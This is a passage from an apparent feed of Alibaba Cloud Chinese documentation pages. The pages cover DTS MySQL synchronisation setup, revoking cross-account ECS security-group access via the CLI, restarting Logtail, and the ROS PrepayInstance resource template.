      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时,选择源实例和目标实例均为MySQL,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。选择地域
      5. 定位至已购买的数据同步实例,单击该实例的配置同步链路配置MySQL单向同步任务
      6. 配置同步通道的源实例及目标实例信息。MySQL单向同步源目实例信息配置
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域信息,不可变更。
        ECS实例ID 选择作为同步数据源的ECS实例ID。
        数据库类型 购买数据同步实例时选择的数据库类型:MySQL,不可变更。
        端口 填入自建MySQL数据库的服务端口,默认为3306
        数据库账号 填入自建MySQL数据库的账号,需具备REPLICATION CLIENT、REPLICATION SLAVE、SHOW VIEW和所有同步对象的SELECT权限。
        数据库密码 填入自建MySQL数据库账号的密码。
        目标实例信息 实例类型 选择RDS实例
        实例地区 购买数据同步实例时选择的目标实例地域信息,不可变更。
        实例ID 选择作为数据同步目标的RDS实例ID。
        数据库账号 填入目标RDS的数据库账号。

        说明 当目标RDS实例的数据库类型为MySQL5.5MySQL5.6时,无需配置数据库账号数据库密码

        数据库密码 填入数据库账号的密码。
        连接方式 根据需求选择非加密连接SSL安全连接。如果设置为SSL安全连接,您需要提前开启RDS实例的SSL加密功能,详情请参见设置SSL加密
      7. 单击页面右下角的授权白名单并进入下一步
      8. 配置同步策略及对象信息。MySQL单向同步配置同步对象
        配置项目 配置说明
        目标已存在表的处理模式
        • 预检查并报错拦截:检查目标数据库中是否有同名的表。如果目标数据库中没有同名的表,则通过该检查项目;如果目标数据库中有同名的表,则在预检查阶段提示错误,数据同步作业不会被启动。

          说明 如果目标库中同名的表不方便删除或重命名,您可以设置同步对象在目标实例中的名称来避免表名冲突。

        • 忽略报错并继续执行:跳过目标数据库中是否有同名表的检查项。

          警告 选择为忽略报错并继续执行,可能导致数据不一致,给业务带来风险,例如:

          • 表结构一致的情况下,如果在目标库遇到与源库主键的值相同的记录,在初始化阶段会保留目标库中的该条记录;在增量同步阶段则会覆盖目标库的该条记录。
          • 表结构不一致的情况下,可能会导致无法初始化数据、只能同步部分列的数据或同步失败。

        选择同步对象

        源库对象框中单击待同步的对象,然后单击向右小箭头图标将其移动至已选择对象框。

        同步对象的选择粒度为库、表。

        说明

        • 如果选择整个库作为同步对象,该库中所有对象的结构变更操作都会同步至目标库。
        • 默认情况下,同步对象在目标库中的名称与源库保持一致。如果您需要改变同步对象在目标库中的名称,需要使用对象名映射功能,详情请参见设置同步对象在目标实例中的名称

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的高级配置信息。数据同步高级设置
        • 此步骤会将源实例中已经存在同步对象的结构及数据在目标实例中初始化,作为后续增量同步数据的基线数据。
        • 同步初始化类型细分为:结构初始化,全量数据初始化。默认情况下,需要选择结构初始化全量数据初始化
      11. 上述配置完成后,单击页面右下角的预检查并启动

        注意

        • 在数据同步任务正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步任务。
        • 如果预检查失败,单击具体检查项后的提示,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待该同步作业的链路初始化完成,直至状态处于同步中

        您可以在 数据同步页面,查看数据同步状态。

      ]]> 通过API撤销不同账号下的ECS实例内网通信_通过API撤销不同账号下的ECS实例内网通信_安全_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过API撤销不同账号下的ECS实例内网通信

      更新时间:2020-05-12 09:56:30

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      若您在同一地域下授权过不同账号的ECS实例内网通信,可以通过API接口撤销安全组授权。

      前提条件

      背景信息

      本文通过调用RevokeSecurityGroup接口撤销已授权的安全组规则。在操作之前,您需要准备以下信息:

      • 账号名:您登录ECS管理控制台的账号名称。
      • ECS实例所在的安全组ID:已授权账号内网互通的ECS实例所在的安全组。

        您可以在ECS管理控制台查看,也可以通过调用DescribeSecurityGroupReferences接口查询。

      • ECS实例所在的地域名称:取值请参见地域和可用区。本文示例设置为cn-beijing,即华北 2(北京)地域。

      假设两个账号的信息如下表所示。
      账号 账号名 安全组 安全组ID
      账号A a@aliyun.com sg1 sg-bp1azkttqpldxgtedXXX
      账号B b@aliyun.com sg2 sg-bp15ed6xe1yxeycg7XXX

      除了撤销授权不同账号下的ECS实例内网通信,您也可以重新授权。详情请参见通过API允许不同账号下的ECS实例内网通信

      操作步骤

      1. 账号A运行以下命令。

        aliyun ecs RevokeSecurityGroup --SecurityGroupId sg-bp1azkttqpldxgtedXXX --RegionId cn-beijing --IpProtocol all --PortRange -1/-1 --SourceGroupId sg-bp15ed6xe1yxeycg7XXX --SourceGroupOwnerAccount b@aliyun.com --NicType intranet

      2. 账号B运行以下命令。

        aliyun ecs RevokeSecurityGroup --SecurityGroupId sg-bp15ed6xe1yxeycg7XXX --RegionId cn-beijing --IpProtocol all --PortRange -1/-1 --SourceGroupId sg-bp1azkttqpldxgtedXXX --SourceGroupOwnerAccount a@aliyun.com --NicType intranet

      ]]> 从ECS上的自建MySQL同步至Elasticsearch_MySQL同步至其他数据库_数据同步_数据传输服务 DTS-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的自建MySQL同步至Elasticsearch

      更新时间:2020-04-28 14:13:07

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      阿里云Elasticsearch完全兼容开源Elasticsearch的功能及Security、Machine Learning、Graph、APM等商业功能,致力于数据分析、数据搜索等场景服务,支持企业级权限管控、安全监控告警、自动报表生成等功能。通过数据传输服务DTS(Data Transmission Service),您可以将ECS上的自建MySQL同步至Elasticsearch,帮助您快速构建数据。

      前提条件

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的读写资源,可能会导致数据库的负载上升,在数据库性能较差、规格较低或业务量较大的情况下(例如源库有大量慢SQL、存在无主键表或目标库存在死锁等),可能会加重数据库压力,甚至导致数据库服务不可用。因此您需要在执行数据同步前评估源库和目标库的性能,同时建议您在业务低峰期执行数据同步(例如源库和目标库的CPU负载在30%以下)。
      • 不支持同步DDL操作,如果源库中待同步的表在同步的过程中,已经执行了DDL操作,您需要先移除同步对象,然后在Elasticsearch实例中移除该表对应的索引,最后新增同步对象。详情请参见移除同步对象新增同步对象
      • 如果源库中待同步的表需要执行增加列的操作,您只需先在Elasticsearch实例中修改对应表的mapping,然后在源MySQL数据库中执行相应的DDL操作,最后暂停并启动DTS同步实例。

      支持同步的SQL操作

      INSERT、DELETE、UPDATE

      数据类型映射关系

      由于MySQL和Elasticsearch实例支持的数据类型不同,数据类型无法一一对应。所以DTS在进行结构初始化时,会根据目标库支持的数据类型进行类型映射,详情请参见结构初始化涉及的数据类型映射关系

      准备工作

      为自建MySQL创建账号并设置binlog

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时,选择源实例为MySQL、目标实例为Elasticsearch,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置同步通道的源实例及目标实例信息。

        配置源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域信息,不可变更。
        ECS实例ID 选择自建MySQL数据库所属的ECS实例ID。
        数据库类型 固定为MySQL,不可变更。
        端口 填入自建MySQL的数据库服务端口。
        数据库账号 填入自建MySQL的数据库账号。

        说明 该账号需具备REPLICATION CLIENT、REPLICATION SLAVE、SHOW VIEW和所有同步对象的SELECT权限。

        数据库密码 填入数据库账号的密码。
        目标实例信息 实例类型 固定为Elasticsearch,不可变更。
        实例地区 购买数据同步实例时选择的目标实例地域信息,不可变更。
        Elasticsearch 选择Elasticsearch实例ID。
        数据库账号 填入连接Elasticsearch实例的数据库账号,默认为elastic。
        数据库密码 填入该数据库账号的密码。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址自动添加到ECS实例的内网入方向安全组规则和目标Elasticsearch实例的白名单中,用于保障DTS服务器能够正常连接源和目标实例。

      8. 配置索引名称、目标已存在表的处理模式和同步对象。

        配置同步对象信息
        配置 说明
        索引名称
        • 表名

          选择为表名后,在目标Elasticsearch实例中创建的索引名称和表名一致,在本案例中即为customer。

        • 库名_表名

          选择为库名_表名后,在目标Elasticsearch实例中创建的索引名称为库名_表名,在本案例中即为dtstestdata_customer。

        目标已存在表的处理模式
        • 预检查并报错拦截:检查目标数据库中是否有同名的索引。如果目标数据库中没有同名的索引,则通过该检查项目;如果目标数据库中有同名的索引,则在预检查阶段提示错误,数据同步作业不会被启动。

          说明 如果目标库中同名的索引不方便删除或重命名,您可以设置同步对象在目标实例中的名称来避免表名冲突。

        • 忽略报错并继续执行:跳过目标数据库中是否有同名索引的检查项。

          警告 选择为忽略报错并继续执行,可能导致数据不一致,给业务带来风险,例如:

          • mapping结构一致的情况下,如果在目标库遇到与源库主键的值相同的记录,在初始化阶段会保留目标库中的该条记录;在增量同步阶段则会覆盖目标库的该条记录。
          • mapping结构不一致的情况下,可能会导致无法初始化数据、只能同步部分列的数据或同步失败。

        选择同步对象

        源库对象框中单击待同步的对象,然后单击向右小箭头将其移动至已选择对象框。

        同步对象的选择粒度为库、表。

      9. 已选择对象区域框中,将鼠标指针放置在待同步的表上,并单击表名后出现的编辑,设置该表在目标Elasticsearch实例中的索引名称、Type名称等信息。

        设置索引名称等信息
        配置 说明
        索引名称 详情请参见Elasticsearch基本概念

        警告 索引名称和Type名称支持的特殊字符仅为下划线(_)。

        Type名称
        过滤条件 您可以设置SQL过滤条件,过滤待同步的数据,只有满足过滤条件的数据才会被同步到目标实例,详情请参见通过SQL条件过滤待同步数据
        是否分区 选择是否设置分区,如果您选择为,您还需要设置分区列分区数量
        _id取值
        • 表的主键列

          联合主键合并为一列。

        • 业务主键

          如果选择为业务主键,那么您还需要设置对应的业务主键列

        添加参数 选择所需的字段参数字段参数值,字段参数及取值介绍请参见Elasticsearch官方文档

      10. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示,查看失败详情。根据提示修复后,重新进行预检查。

      11. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      12. 等待同步作业的链路初始化完成,直至处于同步中状态。

        您可以在 数据同步页面,查看数据同步作业的状态。查看同步作业状态

      查看同步后的索引和数据

      数据同步作业处于同步中状态后,您可以连接Elasticsearch实例(本案例使用Head插件进行连接),确认创建的索引和同步的数据是否符合业务的预期。

      说明 如果不符合业务预期,您可以删除该索引及对应的数据,然后重新配置数据同步作业。

      查看Elasticsearch数据

      ]]> 从ECS上的自建MySQL同步至PolarDB MySQL_PolarDB与其他数据库的数据同步_数据迁移/同步_PolarDB MySQL数据库_云数据库 PolarDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的自建MySQL同步至PolarDB MySQL

      更新时间:2020-04-23 10:55:02

      本页目录

      PolarDB是阿里巴巴自主研发的下一代关系型分布式云原生数据库,可完全兼容MySQL,具备简单易用、高性能、高可靠、高可用等优势。通过数据传输服务DTS(Data Transmission Service),您可以将自建的MySQL数据库同步至PolarDB MySQL,本文以ECS上的自建MySQL为例介绍配置流程。

      前提条件

      已创建PolarDB MySQL集群,详情请参见创建PolarDB MySQL集群

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的读写资源,可能会导致数据库的负载上升,在数据库性能较差、规格较低或业务量较大的情况下(例如源库有大量慢SQL、存在无主键表或目标库存在死锁等),可能会加重数据库压力,甚至导致数据库服务不可用。因此您需要在执行数据同步前评估源库和目标库的性能,同时建议您在业务低峰期执行数据同步(例如源库和目标库的CPU负载在30%以下)。
      • 如果同步对象为单个或多个表(非整库),那么在数据同步时,请勿对源库的同步对象使用gh-ost或pt-online-schema-change等类似工具执行在线DDL变更,否则会导致同步失败。

        注意 为避免同步失败,数据同步期间您可以使用数据管理DMS(Data Management Service)来执行在线DDL变更,详情请参见不锁表结构变更

      • 全量初始化过程中,并发INSERT会导致目标集群的表碎片,全量初始化完成后,目标集群的表空间比源库的表空间大。
      • 如果数据同步的源库没有主键或唯一约束,且记录的全字段没有唯一性,可能会出现重复数据。

      支持同步的SQL操作

      • DML:INSERT、UPDATE、DELETE
      • DDL:CREATE TABLE、ALTER TABLE、RENAME TABLE、TRUNCATE TABLE、DROP TABLE

      功能限制

      • 不兼容触发器

        同步对象为整个库且这个库中包含了会更新同步表内容的触发器,那么可能导致同步数据不一致。例如数据库中存在了两个表A和B。表A上有一个触发器,触发器内容为在INSERT一条数据到表A之后,在表B中插入一条数据。这种情况在同步过程中,如果源集群表A上进行了INSERT操作,则会导致表B在源集群跟目标集群数据不一致。

        此类情况须要将目标集群中的对应触发器删除掉,表B的数据由源集群同步过去,详情请参见源库存在触发器时如何配置同步作业

      • RENAME TABLE限制

        RENAME TABLE操作可能导致同步数据不一致。例如同步对象只包含表A,如果同步过程中源集群将表A重命名为表B,那么表B将不会被同步到目标库。为避免该问题,您可以在数据同步配置时,选择同步表A和表B所在的整个数据库作为同步对象。

      准备工作

      为自建MySQL创建账号并设置binlog

      说明 用于数据同步的数据库账号需具备待同步对象的SELECT、REPLICATION CLIENT、REPLICATION SLAVE权限。

      支持的同步架构

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步
      • 多对一单向同步

      关于各类同步架构的介绍及注意事项,请参见数据同步拓扑介绍

      操作步骤

      1. 购买数据同步作业

        说明 购买时,选择源实例为MySQL、目标实例为POLARDB,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置同步通道的源实例及目标实例信息。

        配置源和目标实例信息
        配置项目 配置选项 配置说明
        同步作业名称 - DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域信息,不可变更。
        ECS实例ID 选择自建MySQL数据库所属的ECS实例ID。
        数据库类型 固定为MySQL,不可变更。
        端口 填入自建MySQL的数据库服务端口。
        数据库账号 填入连接自建MySQL的数据库账号。

        说明 用于数据同步的数据库账号需具备待同步对象的SELECT、REPLICATION CLIENT、REPLICATION SLAVE权限。

        数据库密码 填入数据库账号对应的密码。
        目标实例信息 实例类型 固定为POLARDB,不可变更。
        实例地区 购买数据同步实例时选择的目标实例地域信息,不可变更。
        POLARDB实例ID 选择目标PolarDB集群ID。
        数据库账号 填入连接PolarDB集群的数据库账号。

        说明 用于数据同步的数据库账号需具备目标同步对象的ALL权限。

        数据库密码 填入数据库账号对应的密码。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址自动添加到ECS实例的内网入方向安全组规则和目标PolarDB集群的白名单中,用于保障DTS服务器能够正常连接源实例和目标集群。

      8. 配置目标已存在表的处理模式和同步对象。

        配置处理模式和同步对象
        配置项目 配置说明
        目标已存在表的处理模式
        • 预检查并报错拦截:检查目标数据库中是否有同名的表。如果目标数据库中没有同名的表,则通过该检查项目;如果目标数据库中有同名的表,则在预检查阶段提示错误,数据同步作业不会被启动。

          说明 如果目标库中同名的表不方便删除或重命名,您可以设置同步对象在目标实例中的名称来避免表名冲突。

        • 忽略报错并继续执行:跳过目标数据库中是否有同名表的检查项。

          警告 选择为忽略报错并继续执行,可能导致数据不一致,给业务带来风险,例如:

          • 表结构一致的情况下,如果在目标库遇到与源库主键的值相同的记录,在初始化阶段会保留目标库中的该条记录;在增量同步阶段则会覆盖目标库的该条记录。
          • 表结构不一致的情况下,可能会导致无法初始化数据、只能同步部分列的数据或同步失败。

        选择同步对象

        源库对象框中单击待同步的对象,然后单击向右小箭头将其移动至已选择对象框。

        同步对象的选择粒度为库、表。

        说明

        • 如果选择整个库作为同步对象,那么该库中所有对象的结构变更操作都会同步至目标库。
        • 默认情况下,同步对象的名称保持不变。如果您需要改变同步对象在目标集群中的名称,请使用对象名映射功能,详情请参见设置同步对象在目标实例中的名称

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的高级配置信息。

        数据同步高级设置

        说明 同步初始化类型细分为:结构初始化,全量数据初始化。选择结构初始化全量数据初始化后,DTS会在增量数据同步之前,将源数据库中待同步对象的结构和存量数据,同步到目标数据库。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        您可以在 数据同步页面,查看数据同步作业的状态。查看同步作业状态

      ]]> 管理服务器ECS_管理云环境_云应用指南_小程序云-阿里云 Fri, 02 May 2025 09:39:04 +0800 管理服务器ECS

      更新时间:2019-06-19 13:30:16

      本页目录

      在构建环境后,系统会根据您选择的套餐自动创建云服务器ECS。您可以在云应用控制台查看已创建的ECS并查看其运行情况。

      前提条件

      构建环境

      背景信息

      不同部署环境和云应用套餐创建的ECS规格也不同,详情请参见部署环境

      操作步骤

      1. 云应用详情页面,单击云服务器页签,查看创建的ECS信息。



      2. 如果您已经部署了云应用,单击查看监控查看ECS的运行情况。

      ]]> ECS实例切换网络类型后需要更新Logtail配置_日志采集_常见问题_日志服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例切换网络类型后需要更新Logtail配置

      更新时间:2020-01-19 20:03:07

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      概述

      使用日志服务并在ECS实例上安装Logtail后,如果您的ECS实例网络类型由经典网络切换为VPC网络,需要更新Logtail配置

       

      详细信息

      请参考以下步骤更新Logtail配置。

      1. 使用管理员账号登录ECS实例,重启Logtail。
        • Linux:依次执行如下命令即可。
          sudo /etc/init.d/ilogtaild stop
          sudo /etc/init.d/ilogtaild start
        • Windows:打开控制面板,找到并单击 管理工具,然后双击 服务,找到LogtailWorker并右键单击 重新启动
      2. 更新机器组配置。
        • 机器组标识为自定义标识:若机器组中配置了自定义标识,则无需手动更新机器组配置,即可正常使用。
        • 机器组标识为IP地址:若机器组中配置了ECS实例IP地址,则需将机器组的IP地址更换为重启Logtail后的IP地址,即ECS实例app_info.json文件中的ip字段。app_info.json文件路径如下所示。
          • Linux:/usr/local/ilogtail/app_info.json
          • Windows x64:C:Program Files (x86)AlibabaLogtailapp_info.json
          • Windows x32:C:Program FilesAlibabaLogtailapp_info.json

       

      适用于

      • 日志服务

      ]]> ALIYUN::ECS::PrepayInstance_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::PrepayInstance

      更新时间:2020-02-13 09:42:35

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::PrepayInstance类型用于创建预付费ECS实例。

      语法

      {
        "Type": "ALIYUN::ECS::Instance",
        "Properties": {
          "DedicatedHostId": String,
          "AutoRenew": String,
          "RamRoleName": String,
          "IoOptimized": String,
          "InternetChargeType": String,
          "PrivateIpAddress": String,
          "KeyPairName": String,
          "SystemDiskDiskName": String,
          "PeriodUnit": String,
          "Description": String,
          "Tags": List,
          "SpotPriceLimit": String,
          "HostName": String,
          "AutoRenewPeriod": Number,
          "ImageId": String,
          "ResourceGroupId": String,
          "InstanceChargeType": String,
          "VSwitchId": String,
          "Password": String,
          "InstanceType": String,
          "SystemDiskCategory": String,
          "DeletionProtection": Boolean,
          "SystemDiskSize": Number,
          "ZoneId": String,
          "InternetMaxBandwidthOut": Integer,
          "VpcId": String,
          "SpotStrategy": String,
          "InstanceName": String,
          "InternetMaxBandwidthIn": Integer,
          "UserData": String,
          "DeploymentSetId": String,
          "SecurityGroupId": String,
          "Period": Number,
          "HpcClusterId": String,
          "AllocatePublicIP": Boolean,
          "SystemDiskDescription": String,
          "DiskMappings": List,
          "SystemDiskPerformanceLevel": String
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      HpcClusterId String 实例所属的EHPC集群ID。 无。
      PeriodType String 周期类型。 取值范围:
      • Monthly
      • Yearly
      DedicatedHostId String 是否在专有宿主机上创建ECS 实例。 无。
      RamRoleName String 实例RAM 角色名称。可以调用ListRoles查询。请参见CreateRoleListRoles 无。
      IoOptimized Boolean

      是否为I/O优化实例。

      已停售的实例规格实例默认值:none

      其他实例规格默认值:optimized

      取值范围:
      • none:非I/O优化
      • optimized:I/O优化
      InternetChargeType String 网络计费类型。 取值范围:
      • PayByBandwidth:按固定带宽计费
      • PayByTraffic:按使用流量计费

      默认值:PayByBandwidth

      PrivateIpAddress String 实例私网IP地址。该IP地址必须为 VSwitchId 网段的子集网址。 无。
      KeyPairName String 密钥对名称。
      • Windows实例,忽略该参数。默认为空。即使填写了该参数,仍旧只执行 Password 的内容。
      • Linux实例的密码登录方式会被初始化成禁止。
      无。
      SystemDiskDiskName String 系统盘名称。 无。
      PeriodUnit String 购买资源的时长。

      PeriodUnitWeek 时:

      • Period取值:{“1”, “2”, “3”, “4”}
      • AutoRenewPeriod取值:{“1”, “2”, “3”}
      PeriodUnitMonth 时:
      • Period取值:{ “1”, “2”, “3”, “4”, “5”, “6”, “7”, “8”, “9”, “12”, “24”, “36”,”48”,”60”}
      • AutoRenewPeriod取值:{“1”, “2”, “3”, “6”, “12”}
      默认值:Month
      取值范围:
      • Week
      • Month
      Description String

      实例的描述。

      • 长度为2~256个英文或中文字符。
      • 不能以http://https://开头。
      Tags List 用户自定义标签。 最大20个字符。
      MinAmount Integer 创建的实例的最小数量。 取值范围:1~100。

      默认值:1。

      HostName String 云服务器的主机名。
      • 点号(.)和短横线(-)不能作为首尾字符,更不能连续使用。
      • Windows 实例:字符长度为2~15,不支持点号(.),不能全是数字。允许大小写英文字母、数字和短横线(-)。
      • 其他类型实例(Linux 等):字符长度为2,~64,支持多个点号(.),点之间为一段,每段允许大小写英文字母、数字和短横线(-)。
      AutoRenewPeriod Number 每次自动续费的时长,当参数AutoRenew取值True时为必填。 取值范围:1、2、3、6、12。
      ImageId String

      镜像文件ID,启动实例时选择的镜像资源。

      您可以通过 DescribeImages 查询您可以使用的镜像资源。

      如需使用云市场镜像,您可以在云市场镜像商详情页查看ImageId。

      无。
      AutoRenew Boolean 是否要自动续费。当参数 InstanceChargeType 取值 PrePaid 时才生效。取值范围:
      • True:自动续费。
      • False(默认):不自动续费。
      默认值:False。
      无。
      InstanceChargeType String 实例的付费方式。 取值范围:
      • PrePaid:预付费,包年包月。选择该类付费方式时,您必须确认自己的账号支持余额支付/信用支付,否则将返回 InvalidPayMethod 的错误提示。
      • PostPaid:按量付费。

      默认值:PostPaid。

      VSwitchId String 如果是创建VPC类型的实例,需要指定虚拟交换机ID。 无。
      Password String 实例的密码。
      • 长度为8~30 个字符。
      • 必须同时包含大小写英文字母、数字和特殊符号。
      • 特殊符号包括:()` ~!@#$%^&*-_+=|{}[]:;‘<>,.?/。
      • Windows实例不能以斜线号(/)为密码首字符。
      InstanceType String 实例的资源规格。更多详情,请参见 ECS实例规格,也可以调用 DescribeInstanceTypes 接口获得最新的规格表。 无。
      MaxAmount Integer 创建的实例的最大数量。 取值范围:1~100。
      SystemDiskCategory String

      系统盘的磁盘种类。

      已停售的实例规格且非 I/O 优化实例默认值:cloud

      否则,默认值:cloud_efficiency

      取值范围:
      • cloud:普通云盘
      • cloud_efficiency:高效云盘
      • cloud_ssd:SSD 云盘
      • ephemeral_ssd:本地 SSD 盘
      SystemDiskSize Number 系统盘大小,单位为GiB。 取值范围:20~500。

      该参数的取值必须大于或者等于max{20, ImageSize}。

      默认值:max{40, ImageSize}

      ZoneId String 实例所属的可用区编号。更多详情,请参见 DescribeZones 获取可用区列表。

      空表示由系统选择,默认值:空。

      无。
      InternetMaxBandwidthOut Integer 公网出带宽最大值,单位为Mbit/s。
      • 按固定带宽计费时取值范围:0~200,默认值为 0。
      • 按流量计费时,该参数必须指定,取值范围:1~200。
      VpcId String VPC ID。 无。
      InstanceName String 实例的名称。
      • 最长128个字符。
      • 可包含英文、中文、数字、下划线(_)、点(.)、连字符(-)。
      InternetMaxBandwidthIn Integer 公网入带宽最大值,单位为Mbit/s。默认值:200。 取值范围:1~200。
      UserData String 创建ECS实例时传递的用户数据。 内容需要限制在16KB以内,不需要Base64,特殊字符需要使用 转译。
      SecurityGroupId String 指定新创建实例所属于的安全组代码,同一个安全组内的实例之间可以互相访问。 无。
      Period Number 购买资源的时长,单位为:月。当参数 InstanceChargeType 取值为 PrePaid 时才生效且为必选值。一旦指定了 DedicatedHostId,则取值范围不能超过专有宿主机的订阅时长。 取值范围:
      • PeriodUnit=Week时,Period取值:{“1”, “2”, “3”, “4”}
      • PeriodUnit=Month时,Period取值:{ “1”, “2”, “3”, “4”, “5”, “6”, “7”, “8”, “9”, “12”, “24”, “36”,”48”,”60”}
      AllocatePublicIP Boolean 指定是否创建公网IP。 如果 InternetMaxBandwidthOut 设置为0,不会分配公网IP。

      默认值:True。

      SystemDiskDescription String 系统盘描述信息。 无。
      DiskMappings List 指定需要挂载的磁盘。 最多支持 16块磁盘。
      DeploymentSetId String 部署集ID。 无。
      SystemDiskPerformanceLevel String 创建ESSD云盘作为系统盘使用时,设置云盘的性能等级。 取值范围:
      • PL1:单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。

      默认值:PL1。

      如何选择ESSD性能等级,请参见ESSD云盘

      Tags语法

      "Tags": [
        {
          "Key": String,
          "Value": String
        }
      ]

      Tags属性

      属性名称 类型 必须 允许更新 描述 约束
      Key String 无。 无。
      Value String 无。 无。

      DiskMappings语法

      "DiskMappings": [
        {
          "Category": String,
          "DiskName": String,
          "Description": String,
          "Device": String,
          "SnapshotId": String,
          "PerformanceLevel": String,
          "Size": String
        }
      ]

      DiskMappings属性

      属性名称 类型 必须 允许更新 描述 约束
      Category String 数据盘的类型。

      取值范围:cloud、cloud_efficiency、cloud_ssd、ephemeral_ssd。

      默认值:cloud_efficiency。

      DiskName String 数据盘的名称。 最大长度128 个字符,可包含英文、中文、数字、下划线(_)、点(.)、连字符(-)。
      Description String 描述信息。 取值范围:2~256。

      默认值为空。

      Device String 指定数据盘的设备名称。 如不指定,则默认由系统按顺序分配,即从/dev/xvdb到/dev/xvdz。
      SnapshotId String 创建数据盘使用的快照。 无。
      PerformanceLevel String 创建ESSD云盘作为数据盘使用时,设置云盘的性能等级。 取值范围:
      • PL1:单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。

      默认值:PL1。

      如何选择ESSD性能等级,请参见ESSD云盘

      Size String 数据盘大小,单位:GB。 无。

      返回值

      Fn::GetAtt

      • OrderId: 订单ID。
      • InnerIps: Classic类型实例的私网IP列表。当NetworkType为Classic时,该参数生效。
      • PrivateIps: VPC类型实例的私网IP列表。当NetworkType为VPC时,该参数生效。
      • ZoneIds: 可用区ID列表。
      • PublicIps: Classic类型实例的公网IP列表。当NetworkType为Classic时,该参数生效。
      • HostNames: 主机名列表。
      • RelatedOrderIds: 相关订单ID列表。
      • InstanceIds: 实例ID列表。由系统生成,实例的全局唯一标识。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Parameters": {
          "PeriodType": {
            "Type": "String",
            "Description": "Charge period for created instances.",
            "AllowedValues": [
              "Monthly",
              "Yearly"
            ]
          },
          "DedicatedHostId": {
            "Type": "String",
            "Description": "which dedicated host will be deployed"
          },
          "PrivateIpAddress": {
            "Type": "String",
            "Description": "Private IP for the instance created. Only works for VPC instance and cannot duplicated with existing instance."
          },
          "Description": {
            "Type": "String",
            "Description": "Description of the instance, [2, 256] characters. Do not fill or empty, the default is empty."
          },
          "DiskMappings": {
            "Type": "CommaDelimitedList",
            "Description": "Disk mappings to attach to instance. Max support 16 disks.nIf the image contains a data disk, you can specify other parameters of the data disk via the same value of parameter "Device". If parameter "Category" is not specified, it will be cloud_efficiency instead of "Category" of data disk in the image.",
            "MaxLength": 16
          },
          "SystemDiskSize": {
            "Type": "Number",
            "Description": "Disk size of the system disk, range from 20 to 500 GB. If you specify with your own image, make sure the system disk size bigger than image size. ",
            "MinValue": 20,
            "MaxValue": 500
          },
          "UserData": {
            "Type": "String",
            "Description": "User data to pass to instance. [1, 16KB] characters.User data should not be base64 encoded. If you want to pass base64 encoded string to the property, use function Fn::Base64Decode to decode the base64 string first."
          },
          "SystemDiskDescription": {
            "Type": "String",
            "Description": "Description of created system disk."
          },
          "InstanceChargeType": {
            "Type": "String",
            "Description": "Instance Charge type, allowed value: Prepaid and Postpaid. If specified Prepaid, please ensure you have sufficient balance in your account. Or instance creation will be failure. Default value is Postpaid.",
            "AllowedValues": [
              "PrePaid",
              "PostPaid"
            ],
            "Default": "PostPaid"
          },
          "AutoRenew": {
            "Type": "Boolean",
            "Description": "Auto renew the prepay instance. If the period type is by year, it will renew by year, else it will renew by month.",
            "AllowedValues": [
              "True",
              "true",
